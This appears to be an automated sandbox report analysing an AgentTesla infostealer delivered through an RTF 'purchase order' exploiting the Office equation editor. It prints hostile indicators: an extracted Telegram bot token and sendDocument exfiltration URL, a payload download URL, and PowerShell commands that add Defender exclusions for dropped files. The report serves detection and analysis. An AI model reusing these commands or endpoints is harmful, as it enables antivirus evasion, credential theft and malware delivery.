Play interactive tour

Edit tour

Windows Analysis Report Customer-unionroadwaysltd-8754-PO.doc__.rtf

Overview

General Information

Sample Name:	Customer-unionroadwaysltd-8754-PO.doc__.rtf
Analysis ID:	435313
MD5:	97021239d41dc5efd26c0c26e922f06f
SHA1:	1b1faa516a3774fb55f2473b21c9a189fffad8f7
SHA256:	32269783938f1e9c0b60f92653957b6cbe356a3bd47b5df970f7485c16d327cf
Tags:	rtf
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Sigma detected: Powershell adding suspicious path to exclusion list

Sigma detected: Suspect Svchost Activity

System process connects to network (likely due to code injection or exploit)

Yara detected AgentTesla

Adds a directory exclusion to Windows Defender

Creates an autostart registry key pointing to binary in C:\Windows

Creates multiple autostart registry keys

Drops PE files to the startup folder

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: System File Execution Location Anomaly

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to evade analysis by execution special instruction which cause usermode exception

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Uses the Telegram API (likely for C&C communication)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Binary contains a suspicious time stamp

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Office Equation Editor has been started

One or more processes crash

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Non Interactive PowerShell

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2028 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

EQNEDT32.EXE (PID: 2736 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

putty.exe (PID: 2760 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

powershell.exe (PID: 2852 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2428 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2180 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2276 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

e888z168ybTRefC409a4S5mn41ofdd.exe (PID: 2948 cmdline: 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

powershell.exe (PID: 2344 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2656 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2428 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2276 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

e888z168ybTRefC409a4S5mn41ofdd.exe (PID: 2532 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

powershell.exe (PID: 1748 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2236 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 1664 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

putty.exe (PID: 2112 cmdline: C:\Users\user\AppData\Roaming\putty.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

e888z168ybTRefC409a4S5mn41ofdd.exe (PID: 3036 cmdline: 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

svchost.exe (PID: 2176 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

WerFault.exe (PID: 2232 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1132 MD5: 5FEAB868CAEDBBD1B7A145CA8261E4AA)

WerFault.exe (PID: 2852 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1132 MD5: 5FEAB868CAEDBBD1B7A145CA8261E4AA)

svchost.exe (PID: 1492 cmdline: 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

powershell.exe (PID: 2732 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2736 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2564 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2544 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

svchost.exe (PID: 2612 cmdline: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

qweruiuyt.exe (PID: 2676 cmdline: 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

powershell.exe (PID: 2832 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 1900 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 1192 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

powershell.exe (PID: 2748 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force MD5: 92F44E405DB16AC55D97E3BFE3B132FA)

qweruiuyt.exe (PID: 1852 cmdline: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

qweruiuyt.exe (PID: 2500 cmdline: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

qweruiuyt.exe (PID: 2032 cmdline: 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' MD5: F72277EEBAF6B7E2891B7BA24188EBDA)

svchost.exe (PID: 1904 cmdline: C:\Windows\system32\svchost.exe -k LocalService MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

svchost.exe (PID: 1480 cmdline: C:\Windows\system32\svchost.exe -k LocalService MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

svchost.exe (PID: 652 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Chat id": "1656309456", "Chat URL": "https://api.telegram.org/bot1808150300:AAFr5mDhGJk55lRZMS6fZfbBAMiNT0kiqDQ/sendDocument"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.2356991677.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 1 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 41.231.5.212, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2736, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2736, TargetFilename: C:\Users\user\AppData\Roaming\putty.exe

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Users\user\AppData\Roaming\putty.exe, CommandLine: C:\Users\user\AppData\Roaming\putty.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\putty.exe, NewProcessName: C:\Users\user\AppData\Roaming\putty.exe, OriginalFileName: C:\Users\user\AppData\Roaming\putty.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2736, ProcessCommandLine: C:\Users\user\AppData\Roaming\putty.exe, ProcessId: 2760

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, CommandLine: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, NewProcessName: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, OriginalFileName: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, ParentCommandLine: 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' , ParentImage: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, ParentProcessId: 1492, ProcessCommandLine: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, ProcessId: 2612

Sigma detected: System File Execution Location Anomaly

Show sources

Source: Process started

Author: Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community: Data: Command: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, CommandLine: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, NewProcessName: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, OriginalFileName: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, ParentCommandLine: 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' , ParentImage: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, ParentProcessId: 1492, ProcessCommandLine: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, ProcessId: 2612

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\putty.exe, ParentImage: C:\Users\user\AppData\Roaming\putty.exe, ParentProcessId: 2760, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force, ProcessId: 2852

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, CommandLine: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, NewProcessName: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, OriginalFileName: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, ParentCommandLine: 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' , ParentImage: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe, ParentProcessId: 1492, ProcessCommandLine: C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe, ProcessId: 2612

Malware Analysis System Evasion:

Sigma detected: Powershell adding suspicious path to exclusion list

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\putty.exe, ParentImage: C:\Users\user\AppData\Roaming\putty.exe, ParentProcessId: 2760, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force, ProcessId: 2428

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://kf.carthage2s.com/log.exe

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 52.2.svchost.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "1656309456", "Chat URL": "https://api.telegram.org/bot1808150300:AAFr5mDhGJk55lRZMS6fZfbBAMiNT0kiqDQ/sendDocument"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Roaming\putty.exe	ReversingLabs: Detection: 13%
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	ReversingLabs: Detection: 13%

Multi AV Scanner detection for submitted file

Show sources

Source: Customer-unionroadwaysltd-8754-PO.doc__.rtf

ReversingLabs: Detection: 17%

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\putty.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\putty.exe			Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49182 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2137100972.000000000587D000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2138498302.000000000596D000.00000004.00000001.sdmp, powershell.exe, 00000008.00000002.2147694202.00000000063DD000.00000004.00000001.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbV source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: indows\System.Management.Automation.pdbpdbion.pdbB source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: ??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.2428.5608532ion.pdby.resources.exes.exeI.ni.dll source: powershell.exe, 00000006.00000002.2124274813.00000000005A3000.00000004.00000020.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: ??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.2852.5607814ion.pdby.resources.exes.exeI.ni.dll source: powershell.exe, 00000004.00000002.2121584648.00000000003A3000.00000004.00000020.sdmp
Source:	Binary string: ??\C:\Windows\system32\netutils.dllhell\v1.0\netutils.dllnfig\v2.0.50727.312\security.config.cch.2428.5644287ion.pdby.resources.exes.exeI.ni.dll source: powershell.exe, 0000001A.00000002.2203612690.0000000000375000.00000004.00000020.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000006.00000002.2138164433.00000000053D0000.00000002.00000001.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2127941104.0000000002616000.00000004.00000040.sdmp, powershell.exe, 00000006.00000002.2130603798.0000000002BE6000.00000004.00000040.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Directory queried: number of queries: 3173

Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\	Jump to behavior

Source: global traffic

DNS query: name: kf.carthage2s.com

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 149.154.167.220:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 41.231.5.212:80

Networking:

Uses the Telegram API (likely for C&C communication)

Show sources

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Wed, 16 Jun 2021 03:52:28 GMTAccept-Ranges: bytesETag: "75ff8c66362d71:0"Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 16 Jun 2021 10:04:49 GMTContent-Length: 144168Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 aa 14 d6 ee 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 d0 01 00 00 00 00 00 ce 6b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 d8 6b 02 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 6b 00 00 53 00 00 00 00 80 00 00 00 cd 01 00 00 00 00 00 00 00 00 00 00 1e 02 00 28 15 00 00 00 60 02 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 4b 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 cd 01 00 00 80 00 00 00 ce 01 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 